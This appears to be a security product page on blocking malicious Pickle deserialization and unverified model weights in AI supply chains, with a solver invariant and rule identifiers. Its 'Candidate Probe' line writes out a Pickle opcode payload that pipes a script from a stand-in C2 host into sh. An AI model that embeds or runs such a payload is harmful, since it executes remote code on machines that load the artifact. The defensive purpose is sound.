Cryptographic Artifact Verification and Pickle Deserialization Blocking in Model Supply Chains
A team downloads a fine-tuned model checkpoint, adapter, or third-party plugin that contains hidden executable deserialization opcodes or unverified weights. The verifier inspects serialization streams without executing embedded code, enforces pure tensor formats, and pins every artifact to a verified cryptographic checksum.
Model and agent supply chains depend on external weight checkpoints, fine-tuning adapters, tokenizer scripts, and third-party tool packages. When checkpoints are distributed in executable serialization formats such as Python Pickle or loaded with remote-code flags enabled, opening the file executes arbitrary operating system commands before a single inference runs.
Security Officer (Plain Meaning): Halts "Deserialize untrusted Pickle __reduce__ opcode stream or load unverified third-party model weights" before socket (0 live DB damage, signed GOST receipt)
IT Auditor & SecOps (Evidence): Scope OWASP LLM03:2025 / LLM04:2025 | Wire Rule SEC-ZD-AI-09 | Formal Witness c803d74a59e12b86
Technocrat, CTO & VC (Moat): Z3 Invariant (assert (and (= SerializationFormat SAFETENSORS_ONLY) (= (... | FP = 0.0% | Contract IMMUNE-AI-C803D74A (mcp-sentinel 1.1.2)1. Thought-to-Action Interception and Contract Schematic for AI-SUP-09
Deterministic verification flow for AI-SUP-09 (OWASP LLM03:2025 / LLM04:2025, MITRE ATLAS AML.T0010): candidate probe interception by wire filter SEC-ZD-AI-09, differential proof via witness c803d74a59e12b86, and synthesis of gateway contract IMMUNE-AI-C803D74A for mcp-sentinel.
2. In-Path Mutation Blocking and Formal Solver Invariant for AI-SUP-09
Under rule SEC-ZD-AI-09, the in-path software filter inspects candidate model headers and package manifests statically without invoking the deserializer. Any checkpoint containing executable virtual-machine opcodes, remote trust flags, or an unverified SHA-256 / Streebog-256 digest is halted immediately.
On the benchmark stand, the verifier tests static opcode inspection and checksum validation against synthetic poisoned checkpoints and clean Safetensors decoys. The differential test records formal witness c803d74a59e12b86 with zero false positives.
Class Identifier: AI-SUP-09 (ai_supply_chain_model_backdoors)
Taxonomy Concordance: OWASP LLM03:2025 / LLM04:2025 | MITRE ATLAS AML.T0010
Execution Mode: Active Safe Probing (AUTO_SCAN)
Candidate Probe: POST /api/v1/models/load {"artifact":"adapter_v2.pkl","opcode_stream":"cposix\nsystem\n(S'curl https://c2.example.org/sh | sh'\ntR."}
Blocked Mutation: Deserialize untrusted Pickle __reduce__ opcode stream or load unverified third-party model weights
Z3 Solver Invariant: (assert (and (= SerializationFormat SAFETENSORS_ONLY) (= (sha256 artifact) approved_registry_sha256) (= (allow_pickle_reduce artifact) false)))
Wire Sandbox Rule: SEC-ZD-AI-09
Formal Witness Hash: c803d74a59e12b86
Compiled Sentinel Rule: IMMUNE-AI-C803D74A (mcp-sentinel 1.1.2)3. Autonomous Synthesis of Gateway Contract IMMUNE-AI-C803D74A and Streebog-256 Receipt
From witness c803d74a59e12b86, the compiler emits contract IMMUNE-AI-C803D74A for border enforcement. The contract restricts model loading exclusively to non-executable tensor formats with verified registry digests and offline wheel installation (--no-index --find-links).
4. Engineering Reference Notes for AI-SUP-09
Static detection of malicious Pickle opcodes without loading the model into memory
The verifier parses the binary opcode stream as inert bytes, flagging any global import or reduce instruction before the Python virtual machine is ever invoked.
Offline supply-chain reproducibility for air-gapped enterprise deployments
All companion packages and model adapters are verified against locked SHA-256 and Streebog-256 manifests and installed strictly from local directories without external network queries.